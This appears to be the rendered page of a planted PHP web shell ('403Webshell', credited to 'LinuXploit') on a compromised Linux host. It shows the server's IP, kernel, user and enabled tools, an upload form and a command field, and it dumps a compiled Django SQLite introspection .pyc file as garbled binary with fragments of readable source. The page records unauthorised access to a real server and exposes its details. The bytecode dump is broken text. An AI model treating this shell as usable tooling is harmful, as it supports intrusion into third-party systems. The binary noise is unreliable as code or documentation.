403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/django/db/backends/sqlite3/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/django/db/backends/sqlite3/__pycache__/introspection.cpython-311.pyc
�

�|�e�O����ddlZddlmZddlZddlmZmZmZddl	m
Z
ddlmZedej
dz��Zed��Zd	�ZGd
�d��ZGd�d
e��ZdS)�N)�
namedtuple)�BaseDatabaseIntrospection�	FieldInfo�	TableInfo)�Index)�_lazy_re_compiler)�pk�has_json_constraintz&^\s*(?:var)?char\s*\(\s*(\d+)\s*\)\s*$c�h�t�|��}|rt|d��ndS)z8 Extract the size number from a "varchar(11)" type name �N)�
field_size_re�search�int)�name�ms  �J/usr/lib/python3/dist-packages/django/db/backends/sqlite3/introspection.py�get_field_sizers.�����T�"�"�A��#�3�q��t�9�9�9�t�#�c��eZdZidd�dd�dd�dd�dd�d	d
�dd
�dd
�dd�dd�dd�dd�dd�dd�dd�dd�dd�dd d!��Zd"�Zd#S)$�FlexibleFieldLookupDict�bool�BooleanField�boolean�smallint�SmallIntegerFieldzsmallint unsigned�PositiveSmallIntegerField�smallintegerr�IntegerField�integer�bigint�BigIntegerFieldzinteger unsigned�PositiveIntegerFieldzbigint unsigned�PositiveBigIntegerField�decimal�DecimalField�real�
FloatField�text�	TextField�char�	CharField�varchar�blob�BinaryField�date�	DateField�
DateTimeField�	TimeField)�datetime�timec��|����dd��d���}|j|S)N�(rr)�lower�split�strip�base_data_types_reverse)�self�keys  r�__getitem__z#FlexibleFieldLookupDict.__getitem__4s>���i�i�k�k����Q�'�'��*�0�0�2�2���+�C�0�0rN)�__name__�
__module__�__qualname__r:r=�rrrrs�����������>��	�'��	�8�	�
	�+��	�~�
�	�>��	�#��	�2��	�4��	�>��	���	���	���	�;�� 	�
�!�"	��#�$$��'����,1�1�1�1�1rrc�|��eZdZe��Z�fd�Zd�Zd�Zdd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zd
�Zd�Z�xZS)�DatabaseIntrospectionc�x��t���||��}|jr|dvrdS|jrdS|S)N>rr!r�	AutoField�	JSONField)�super�get_field_typer	r
)r;�	data_type�description�
field_type�	__class__s    �rrHz$DatabaseIntrospection.get_field_type<sN����W�W�+�+�I�{�C�C�
��>�	�j�,d�d�d��;��*�	��;��rc�h�|�d��d�|���D��S)z>Return a list of table and view names in the current database.z�
            SELECT name, type FROM sqlite_master
            WHERE type in ('table', 'view') AND NOT name='sqlite_sequence'
            ORDER BY namec�R�g|]$}t|d|dd����%S)rr)r)�.0�rows  r�
<listcomp>z8DatabaseIntrospection.get_table_list.<locals>.<listcomp>Ns.��J�J�J��	�#�a�&�#�a�&��)�,�,�J�J�Jr)�execute�fetchall)r;�cursors  r�get_table_listz$DatabaseIntrospection.get_table_listFs@��	����	�	�	�K�J����8I�8I�J�J�J�Jrc����	�|�d|jj�|��z��|���}|�||���t
���	|jjjrS|D]P}|d}d|z}|�d||g���	��}|r�	�
|���Q��	fd�|D��S)zi
        Return a description of the table with the DB-API cursor.description
        interface.
        zPRAGMA table_info(%s)rz%%json_valid("%s")%%z�
                    SELECT sql
                    FROM sqlite_master
                    WHERE
                        type = 'table' AND
                        name = %s AND
                        sql LIKE %s
                c���g|]I\}}}}}}t||dt|��dd||��|��|dk|�v����JS)Nr)rr�get)	rO�cidrrI�notnull�defaultr	�
collations�json_columnss	       ��rrQz?DatabaseIntrospection.get_table_description.<locals>.<listcomp>gsx���
�
�
�
;��T�9�g�w��	
��i��~�i�'@�'@�$����W�j�n�n�T�&:�&:�B�!�G�T�\�EY�
�
�
�
�
r)rR�
connection�ops�
quote_namerS�_get_column_collations�set�features�can_introspect_json_field�fetchone�add)
r;rT�
table_name�
table_info�line�column�json_constraint_sqlr
r\r]s
        @@r�get_table_descriptionz+DatabaseIntrospection.get_table_descriptionPs����
	���.���1D�1O�1O�PZ�1[�1[�[�\�\�\��_�_�&�&�
��0�0���D�D�
��u�u���?�#�=�
	-�"�
-�
-���a���&<�v�&E�#�&,�n�n�6�!�"5�6�'8�'8�9A��
�
�$�'�-� �$�$�V�,�,�,��
�
�
�
�
�
?I�
�
�
�	
rrAc�:�|�||��}||d�gS)N)�tablerj)�get_primary_key_column)r;rTrg�table_fields�pk_cols     r�
get_sequencesz#DatabaseIntrospection.get_sequencesos(���,�,�V�Z�@�@��$��7�7�8�8rc���i}|�d|g��|���\}}|dkr|S||�d��dz|�d���}|�d��D�]�}|���}|�d��r�-tjd|tj	��}|s�Pd	�|�
��D��\}	}
|�d
��r<tjd|tj	��}|d�d��}n-|���d
�d��}|�d|	g��|���d
}|d
���}
|
�d��|
�d��}}|
|dz|�}
|
�d��D]j}|���}|�d��r�,|�dd��d
�d��}||
kr	||	f||<n�k���|S)z�
        Return a dictionary of {field_name: (field_name_other_table, other_table)}
        representing all relationships to the given table.
        �USELECT sql, type FROM sqlite_master WHERE tbl_name = %s AND type IN ('table', 'view')�viewr6r�)�,�UNIQUEz$references (\S*) ?\(["|]?(.*)["|]?\)c�8�g|]}|�d����S)�"�r9�rO�ss  rrQz7DatabaseIntrospection.get_relations.<locals>.<listcomp>�s"��>�>�>�a�Q�W�W�S�\�\�>�>�>rzFOREIGN KEYzFOREIGN KEY\s*\(([^\)]*)\).*rzrz1SELECT sql FROM sqlite_master WHERE tbl_name = %s� )
rRre�index�rindexr8r9�
startswith�rer�I�groups�matchrS)r;rTrg�	relations�
create_sql�
table_type�results�
field_descrrnrj�
field_name�result�other_table_results�li�ri�
other_desc�
other_names                  r�
get_relationsz#DatabaseIntrospection.get_relationsss����	�	���
@�
�L�	
�	
�	
�
"(���!2�!2��
�J��������Z�-�-�c�2�2�Q�6�z�7H�7H��7M�7M�M�N��
"�-�-��,�,�	�	�J�#�)�)�+�+�J��$�$�X�.�.�
���	�A�:�r�t�T�T�A��
��>�>�1�8�8�:�:�>�>�>�M�E�6��$�$�]�3�3�
>��H�<�j�"�$�O�O���q�T�Z�Z��_�_�
�
�'�-�-�/�/��2�8�8��=�=�
��N�N�N�QV�PW�X�X�X��_�_�&�&�q�)�F�"(��)�/�/�"3�"3��(�.�.�s�3�3�5H�5O�5O�PS�5T�5T��B�"5�b�1�f�R�i�"@��1�7�7��<�<�
�
�
�'�-�-�/�/�
��(�(��2�2���'�-�-�c�1�5�5�a�8�>�>�s�C�C�
���'�'�-7��,?�I�j�)��E�(���rc�^�g}|�d|dg��|���d���}||�d��dz|�d���}t|�d����D]�\}}|���}|�d��r�/tj	d	|tj
��}|s�R|�td
�|�
��D��������|S)z�
        Return a list of (column_name, referenced_table_name, referenced_column_name)
        for all key columns in given table.
        z?SELECT sql FROM sqlite_master WHERE tbl_name = %s AND type = %srnrr6rrvrwrxz("(.*)".*references (.*) \(["|](.*)["|]\)c3�@K�|]}|�d��V��dS)rzNr{r|s  r�	<genexpr>z8DatabaseIntrospection.get_key_columns.<locals>.<genexpr>�s,����$F�$F�a�Q�W�W�S�\�\�$F�$F�$F�$F�$F�$Fr)rRrer9rr��	enumerater8r�r�rr��append�tupler�)r;rTrg�key_columnsr��field_indexr�rs        r�get_key_columnsz%DatabaseIntrospection.get_key_columns�s*��
��	���X�[e�gn�Zo�p�p�p��/�/�#�#�A�&�,�,�.�.���'�-�-��,�,�q�0�����1D�1D�D�E��
(1����s�1C�1C�'D�'D�
	H�
	H�#�K��#�)�)�+�+�J��$�$�X�.�.�
���	�E�z�SU�SW�X�X�A��
��
���u�$F�$F�1�8�8�:�:�$F�$F�$F�F�F�G�G�G�G��rc��|�d|g��|���}|�td|z���|\}}|dkrdS||�d��dz|�d���}|�d��D]G}|���}tjd	|��}|r|dr|dn|d
cS�HdS)z>Return the column name of the primary key for the given table.rtNzTable %s does not existrur6rrvrwz1(?:(?:["`\[])(.*)(?:["`\]])|(\w+)).*PRIMARY KEY.*�)	rRre�
ValueErrorrr�r8r9r�r�)	r;rTrgrPr�r��
fields_sqlr�rs	         rroz,DatabaseIntrospection.get_primary_key_column�s��	���
@�
�L�	
�	
�	
�
�o�o�����;��6��C�D�D�D�!$��
�J������4��
� 0� 0�� 5� 5�� 9�*�:K�:K�C�:P�:P� P�Q�
�$�*�*�3�/�/�	.�	.�J�#�)�)�+�+�J���M�z�Z�Z�A��
.� ��t�-�q��t�t��1��-�-�-�
.��trc���i}|�d|jj�|��z��|���D]$}|dd�\}}}}}	|gdd||	fddd�|d|z<�%|S)NzPRAGMA foreign_key_list(%s)�F��columns�primary_key�unique�foreign_key�checkrzfk_%d)rRr^r_r`rS)
r;rTrg�constraintsrP�id_�_rn�from_�tos
          r�_get_foreign_key_constraintsz2DatabaseIntrospection._get_foreign_key_constraints�s��������4�t��7J�7U�7U�V`�7a�7a�a�b�b�b��?�?�$�$�
	�
	�C�'*�2�A�2�w�$�C��E�5�"�!�7�$�� %�r�{���
*�*�K��#�
�&�&��rc��d}d}d}d}d}g}d}	g}
d}|D�]S}|�tjjd��r|dz
}nb|�tjjd��r|dz}|dkr�n�n.|dkr(|�tjjd��r�n�|�(|�tjjd��}|r��|�r*|�d|jtjjtjjfvr|j}n3|jtjjj	j
kr|jdd�}|�tjjd	��rd
}|}�n'|r�||kr|rd}��\|jtjjtjjfvr|�|j��n�|jtjjj	j
kr"|�|jdd���n�|�d|jtjjtjjfvr|j}n3|jtjjj	j
kr|jdd�}|�tjjd	��r|g}|�tjjd��rd
}	|}
���|	r�|
|kr|
rd}	���|jtjjtjjfvr%|j|vr|
�|j�����|jtjjj	j
kr3|jdd�|vr"|
�|jdd�����U|r	d
|ddddd�nd}|
r	d
|
ddddd
�nd}||||fS)NFrr6rrvrw�
CONSTRAINT���rxT�CHECK)r�r�r�r�r�r)r�r�r�r�r�r)r��sqlparse�tokens�Punctuation�Keyword�ttype�Name�value�Literal�String�Symbolr�)r;r�r��token�is_constraint_definitionr��constraint_namer��unique_columnsr��
check_columns�braces_deep�unique_braces_deep�check_braces_deep�unique_constraint�check_constraints                r�&_parse_column_or_constraint_definitionz<DatabaseIntrospection._parse_column_or_constraint_definition�s�����#'� ��
����������
����=	@�=	@�E��{�{�8�?�6��<�<�	
��q� ������X�_�8�#�>�>�
��q� ����?�?��E�#���!�!�e�k�k�(�/�2M�s�&S�&S�!���'�/�+0�;�;�x��7N�P\�+]�+]�(�+���'�
2�"�*��{�x��';�X�_�=T�&U�U�U�*/�+�������(?�(F�(M�M�M�*/�+�a��d�*;���;�;�x��6��A�A�A�!�F�)4�&�&��	A�)�[�8�8�)�+�%*�F� ��{�x��';�X�_�=T�&U�U�U�&�-�-�e�k�:�:�:�:�����(?�(F�(M�M�M�&�-�-�e�k�!�B�$�.?�@�@�@���%��{�x��';�X�_�=T�&U�U�U�%*�[�
�
�����(?�(F�(M�M�M�%*�[��2��%6�
��;�;�x��6��A�A�2�&0�\�N��{�{�8�?�2�G�<�<�
@���$/�!�!��
@�$��3�3�$�&� %����;�8�?�#7���9P�"Q�Q�Q��{�g�-�-�%�,�,�U�[�9�9�9���[�H�O�$;�$B�$I�I�I��{�1�R�4�(�G�3�3�%�,�,�U�[��2��->�?�?�?���&��%� ����

�
�
�"&�	��%��$� ����

�
�
�!%�	�� 1�3C�U�J�Jrc��tj|��d}i}d}d�|���D��}|D])}|�tjjd��rn�*	|�||��\}}	}
}|	r|r|	||<n
|dz
}|	|d|z<|
r|r|
||<n
|dz
}|
|d|z<|�tjjd��rn�p|S)Nrc3�(K�|]
}|j�	|V��dS�N)�
is_whitespace)rOr�s  rr�zADatabaseIntrospection._parse_table_constraints.<locals>.<genexpr>Qs*����T�T�E��@S�T�%�T�T�T�T�T�Trr6Trz__unnamed_constraint_%s__rv)r��parse�flattenr�r�r�r�)r;�sqlr��	statementr��unnamed_constrains_indexr�r�r�r�r��	end_tokens            r�_parse_table_constraintsz.DatabaseIntrospection._parse_table_constraintsKs<���N�3�'�'��*�	���#$� �T�T�Y�%6�%6�%8�%8�T�T�T���	�	�E��{�{�8�?�6��<�<�
���
�	�8<�8c�8c�dj�ls�8t�8t�5�O�V�U�I��
a�"�a�39�K��0�0�,��1�,�Z`�K� ;�>V� V�W��
`�"�`�38�K��0�0�,��1�,�Z_�K� ;�>V� V�W����x��:�C�@�@�
��	� �rc	���i}	|�d|jj�|���������d}d�|�||��D��}|�|�||����n#t$rYnwxYw|�d|jj�|��z��|�	��D�]4}|dd�\}}}	|�d|jj�|��z��|���pd\}
|
s�a|�d	|jj�|��z��|�	��D]D\}}}
||vrgd
t|	��dd
dd�||<||d
�|
���E||dr7tj
||d<|�|
��}|�|||d<��6|�||��}|r
|gdd
dd
d
d�|d<|�|�||����|S)zu
        Retrieve any constraints or keys (unique, pk, fk, check, index) across
        one or more columns.
        z:SELECT sql FROM sqlite_master WHERE type='table' and name=rc��h|]	}|j��
SrA)r�rO�infos  r�	<setcomp>z8DatabaseIntrospection.get_constraints.<locals>.<setcomp>zs��\�\�\�T�t�y�\�\�\rzPRAGMA index_list(%s)N�z<SELECT sql FROM sqlite_master WHERE type='index' AND name=%sr�zPRAGMA index_info(%s)FTr�r�r�type�orders�__primary__)rRr^r_r`rerl�updater��	TypeErrorrSrr�r�suffix�_get_index_columns_ordersror�)r;rTrgr��table_schemar�rP�numberrr�r��
index_rank�column_rankrjr��	pk_columns                r�get_constraintsz%DatabaseIntrospection.get_constraintsis���
��	U�!�>�>�>��O�'�2�2�:�>�>�>�����h�j�j��	�L�]�\�T�-G�-G��PZ�-[�-[�\�\�\�G����t�<�<�\�7�S�S�T�T�T�T���	�	�	��D�	����	���.���1D�1O�1O�PZ�1[�1[�[�\�\�\��?�?�$�$�&	:�&	:�C�%(����G�!�F�E�6��N�N�1�37�?�3F�3Q�3Q�RW�3X�3X�Y�
�
�
�
�?�?�$�$�/��D�C��
���N�N�2�T�_�5H�5S�5S�TY�5Z�5Z�Z�[�[�[�39�?�?�3D�3D�

=�

=�/�
�K����+�+�#%�',�"&�v�,�,�'+�!&�!%�
*�*�K��&��E�"�9�-�4�4�V�<�<�<�<��5�!�'�*�
:�-2�\��E�"�6�*��7�7��<�<���%�39�K��&�x�0���/�/��
�C�C�	��	�&�;�#��#���
*�*�K�
�&�	���4�<�<�V�Z�P�P�Q�Q�Q��s�A
B�
B(�'B(c��tj|��d}|D]d}t|tjj��rCt|���d���d��}d�|D��cS�edS)Nr�()�, c�@�g|]}|�d��rdnd��S)�DESC�ASC)�endswithr�s  rrQzCDatabaseIntrospection._get_index_columns_orders.<locals>.<listcomp>�s-��W�W�W�t�$�-�-��"7�"7�B���U�W�W�Wr)r�r��
isinstancer��Parenthesis�strr9r8)r;r�r�r�r�s     rr�z/DatabaseIntrospection._get_index_columns_orders�s������$�$�Q�'���	X�	X�E��%���!9�:�:�
X��e�*�*�*�*�4�0�0�6�6�t�<�<��W�W�w�W�W�W�W�W�W�
X��trc���|�d|g�����}|siS|d}ttj|��dd���d���d��}i}|D]h}|dd����}|d�d��}	t|��D]\}
}|dkr
||
dz}n�d}|||	<�i|S)	Nzn
            SELECT sql
            FROM sqlite_master
            WHERE type = 'table' AND name = %s
        rr�r�r�rrz�COLLATE)rRrer�r�r�r9r8r�)
r;rTrgrPr�r�r\rjr��column_namerr��	collations
             rraz,DatabaseIntrospection._get_column_collations�s���n�n���\�	��$�8�:�:�		�
�	��I��!�f���h�n�S�)�)�!�,�R�0�1�1�7�7��=�=�C�C�D�I�I���
��		0�		0�F��A�B�B�Z�%�%�'�'�F� ��)�/�/�#�.�.�K� )�&� 1� 1�
!�
!���u��I�%�%� &�u�q�y� 1�I��E�&�!�	�&/�J�{�#�#��r)rA)r>r?r@r�data_types_reverserHrUrlrrr�r�ror�r�r�r�r�ra�
__classcell__)rLs@rrCrC9s�������0�0�2�2�������K�K�K�
�
�
�>9�9�9�9�8�8�8�t���:���.��� XK�XK�XK�t���<M�M�M�^���������rrC)r��collectionsrr��%django.db.backends.base.introspectionrr�
BaseFieldInfor�django.db.modelsr�django.utils.regex_helperr�_fieldsr
rrrCrArr�<module>r�s"��	�	�	�	�"�"�"�"�"�"���������������#�"�"�"�"�"�6�6�6�6�6�6��J�{�M�$9�<Y�$Y�Z�Z�	� � �!J�K�K�
�$�$�$�1�1�1�1�1�1�1�1�>]�]�]�]�]�5�]�]�]�]�]r

Youez - 2016 - github.com/yon3zu
LinuXploit